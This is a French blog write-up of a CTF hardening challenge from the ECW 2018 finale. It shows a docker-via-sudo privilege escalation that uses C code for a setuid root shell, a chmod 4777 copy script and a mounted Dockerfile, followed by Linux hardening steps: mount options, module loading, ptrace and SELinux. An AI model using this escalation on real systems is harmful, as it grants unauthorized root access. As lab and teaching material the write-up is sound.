Skip to content

ECW 2018 (Finale) – Linux Hardening

Le mercredi 21 Novembre 2018 s’est tenue la finale de l’European Cyber Week à laquelle j’ai participé avec mes camarades Slaynot et CYMS. Nous sommes fièrements arrivés 2èmes après 6 heures de reflexions et de travail.

De mon côté j’ai particulièrement travaillé sur le challenge Linux Hardening à 425 points, une occasion pour moi de faire un Write-Up qui rentre parfaitement dans ma ligne éditoriale !

DISCLAIMER:

Je n’ai pas pensé à récupérer les fichiers sur lesquels j’ai travaillé et que j’ai lu. J’en ferait donc une reconstitution à ma sauce.

Toutes les potentielles captures d’écrans ne seront donc pas celle du réel environnement dans lequel j’ai travaillé.

Explication de l’épreuve

Un de nos serveurs Linux a été compromis par un méchant hacker. Il a réussi à obtenir un accès root et à modifier son mot de passe.
Nous devons nous connecter avec l’accès de l’utlisateur admin que le Hacker a eu initialement pour récuperer l’accès root et améliorer la sécurité de notre système. N’hésitez pas à utiliser le documents suivant : https://www.ssi.gouv.fr/uploads/2015/10/NP_Linux_Configuration.pdf

En nous connectant au serveur en tant que l’utilisasteur admin avec le mot de passe ECW2018@ (On sait comment le hacker a eu accès au serveur…), on y trouve un petit README qui nous dit:

Il faut que tu récupères un accès root pour pouvoir travailler, mais le hacker a changé le mot de passe. Pense donc bien à changer le-dit mot de passe.

Une fois le root obtenu tu vas devoir :

  • Sécuriser les points de montage
  • Empêcher le chargement des modules kernel après le boot de la machine
  • Limiter l’accès au ptrace
  • Bloquer l’execution sur la pile (Stack execution) via un Mandatory Access Control

Bon chance

Au moins, les objectifs sont clairs.

Récupérer l’accès root

Bon… Premier truc à faire quand on veut récuperer un accès root c’est regarder les droits sudo qui sont attribués à notre utilisateur :

$ sudo -l

Ok, donc on peut éxecuter docker en tant que root. Ça tombe bien, j’ai toujours voulu tester la fameuse privesc sur docker.

Je fais un peu de recherche sur le Terweb mondial et je trouve un petit article à propos de la privesc.

L’idée est de monter une partie du système actuel dans le docker et d’y stocker un executable appartenant à l’utilisateur ayant lancé le docker afin d’obtenir un shell. On va monter un dossier créé dans le /tmp/ que l’on va appeler persist.

Il nous faut donc un executable pour obtenir un shell avec le setresuid. On va le faire en C

int main()
{
   setuid(0);
   system("/bin/sh");
   return 0;
}
rootshell.c

Ici, on se frotte à un premier problème :

Il n’y a pas de quoi compiler sur le serveur.

Dans ce cas il existe une solution très simple. On va compiler notre petit programme en statique et l’envoyer via scp.

$ gcc -static rootshell.c -o rootshell

$ scp rootshell admin@192.168.131.30:/home/admin

Ensuite, on fait un petit script shell pour copier le fichier dans notre dossier persist.

#!/bin/sh

cp rootshell /persist/rootshell
chmod 4777 /persist/rootshell
root.sh

Maintenant, il nous reste plus qu’à avoir un Docker où charger nos executables… Mais il n’y a aucune connexion internet donc comment avoir un docker ?

Eh bien, il nous suffit d’utiliser le fichier docker-alpine.tar. En bon petit soldat j’ai fait mes recherches et j’ai tenté un
$ docker import docker-alpine.tar alpine

Malheureusement, lorsque j’essayais d’utiliser ce docker j’avais l’erreur suivante

Après avoir regardé le contenu du docker-alpine.tar, on se rend compte qu’il contient la même chose qu’un docker déjà chargé. Une solution est donc de ne pas utilise import mais load.

$ docker load –input docker-alpine.tar

Et ce docker fonctionne, il ne nous reste plus qu’à créer notre Dockerfile.

FROM alpine:latest
COPY root.sh root.sh
COPY rootshell rootshell
Dockerfile

Et on créé puis lance notre docker en précisant le dossier que l’on va monter dans le docker depuis notre système : Le /tmp/persist
$ docker build –rm -t privesc
$ docker run -v /tmp/persist:/persist privesc /bin/sh root.sh

Il ne nous reste plus qu’à aller dans le /tmp/persist et à lancer notre executable pour obtenir un accès root. Et on oublie surtout pas de changer le mot de passe !

On a obtenu un premier flag !

Sécuriser les points de montage

Pas de temps à perdre, on va regarder rapidement le PDF de l’ANSSI qui nous est fourni. Je fait un petit Ctrl+F avec “mountpoint” puis “Point de montage” et je trouve ce que je veux.

En effet, il me paraît logique que les options soient un (le seul ?) moyen de sécuriser les points de montage. Mais…

A quoi qu’elles servent donc ces options Jamy ?

Eh bien Fred, c’est très simple. Ce sont des options de montage que l’on va indiquer dans les fichiers de “configuration” du montage comme le fstab. Chaque option a une utilité différente :

  • auto/noauto : sert à dire si le montage se fait automatiquement ou non lors d’un boot ou d’un mount -a
  • user/nouser : sert à dire si les les utilisateurs autre que root peuvent monter la partition ou non
  • exec/noexec : sert à dire si on autorise ou non l’execution de binaires présents sur la partition
  • ro : Correspond à read-only. L’option sert donc à interdire l’écriture dans cette partition
  • rw : Correpond à read-write. L’option sert à permettre la lecture/écriture dans la partition.
  • nosuid/suid : sert à bloquer ou non les setuid dans la partition (Si vous ne comprenez pas, lisez mon super article sur les droits & permission !)
  • dev/nodev : sert à dire si la partition peut contenir ou non des devices “spéciaux” (Oui bon, là j’avoue je sais pas trop comment l’expliquer…
  • hidepid=1 : disponible uniquement sur le /proc/. L’option sert à bloquer l’accès aux fichiers/dossiers du /proc/ qui ne sont pas directement lié à l’utilisateur courant.
  • default : contient toutes les options par défaut qui sont rw, suid, dev, exec, auto et nouser

Il nous suffit donc de remplacer les options de chaque partition par les options conseillées (sans option, équivaud à un default). On modifie donc le fichier /etc/fstab et on monte toutes ces partitions.

$ mount -a

Mais, dans notre fstab il nous manque la partition /proc/… On va donc spécifier l’option à la main pour le remonter.

$ mount -o remount, hidepid=1 proc /proc

On a obtenu 8 ou 9 nouveaux flags

Bloquer les chargements de modules

Cette partie est assez drôle dans le sens où elle a obligé les organisateurs à recharger plusieurs fois les VM qui servaient de serveurs aux équipe voulant la faire.

Afin de bloquer les chargements de modules kernel après le boot il existe… Un module kernel :

kernel.modules_disabled

Il nous suffit normalement de le set à 1 (True) pour bloquer les chargements de modules. Malheureusement, si ce module se charge avant les autre… Bah il va les bloquer aussi. Ce qui fait que tous les participants l’ayant mis en début du fichier sysctl.conf ou ayant executé un magnifique sysctl -w kernel.modules_disabled=1 ont bloqué le chargement de la majorité des modules kernel, et donc de la machine.

Il va donc le charger de façon non-permanente avec

$ sysctl kernel.modules_disabled=1

Encore un flag en poche

Limiter l’accès au ptrace

Là encore il suffisait uniquement de charger un module kernel. On ne va pas perdre plus de temps à tout expliquer je vais la faire courte :

$ sysctl kernel.yama.ptrace_scope = 1

Et un flag de plus !

Bloquer l’execution sur la pile

Ici normalement le chall devait débloquer 2 flags. Malheureusement il semblerait qu’il y ai eu une petite erreur et qu’ils aient été fusionnés en 1 seul flag. Il devait donc y avoir 2 étapes

  • Activer SELinux
  • Bloquer l’execution sur la pile avec SELinux

Et donc on pouvait obtenir le flag uniquement en activant SELinux… Je vais malgré tout expliquer comment faire pour bloquer l’execution sur la pile (certains participants ont rencontré des problèmes en voulant le faire).

Pour “activer” SELinux, il n’y a rien de très compliqué. Il suffit d’aller modifier le fichier /etc/selinux/config. Dans ce fichier on pouvait trouver la ligne
SELINUX=disabled

Il nous suffisait donc de changer le disabled en permissive puis de rebooter le serveur pour obtenir le flag.

C’est à partir de là que les participants (dont moi, il ne faut pas s’en cacher) ont eu des difficultés.

En effet, pour bloquer l’execution sur la pile il fallait ajouter set booléen de SELinux de la manière suivante

$ setsebool -P allow_execstack=off

Mais, ça n’est pas suffisant !

Parce que notre SELinux n’est qu’en permissive ce qui veut dire qu’il ne met pas réellement à execution ce qu’on lui demande mais qu’il affiche juste des “warnings”. Pour bloquer il faut le passer en mode enforcing. Ce qui se fait en changeant encore une fois le fichier /etc/selinux/config et en remplacant la ligne

SELINUX=permissive

En mettant enforcing à la place de permissive.

Et là encore, le reboot va poser problème. En effet, lors de la première activation SELinux va ajouter des tags aux fichiers qu’il va surveiller/consulter/etc. Et lorsque l’on désactive SELinux il va enlever ces mêmes tags.

Par contre, il ne va pas les rajouter de lui-même lors des prochaines activations. Il va donc falloir le faire nous-même à la main avant de reboot.

Après quelques recherches on tombe très rapidement sur une documentation CentOS qui nous dit de faire

$ fixfiles relabel

Et voilà, on a fini le hardening de notre système (enfin de faire ce qu’on nous a demandé).

Conclusion

J’ai trouvé ce challenge très sympathique et très rentable (425 points je crois… C’était beaucoup). Même si ça peut parraître simple vu de l’exterieur, on se frotte facilement à des problèmes nuls avec le stress du moment (des espaces entre les options de montage, le problème du docker import qui m’a vraiment pris du temps…). Et malgré tout j’ai pu apprendre ce que c’était les labels pour SELinux.

Au niveau du CTF plus globalement : Pour avoir participé aussi l’années dernière, j’ai trouvé que cette année était particulièrement réussie. Un grand bravo aux équipes de Thalès et de Airbus qui nous ont permis de nous amuser. Je sais qu’organiser un CTF c’est du boulot et lors de la finale l’équipe Airbus a sû être très présente pour répondre à la moindre de nos question.

Published inWrite-Up

Be First to Comment

Leave a Reply

Your email address will not be published. Required fields are marked *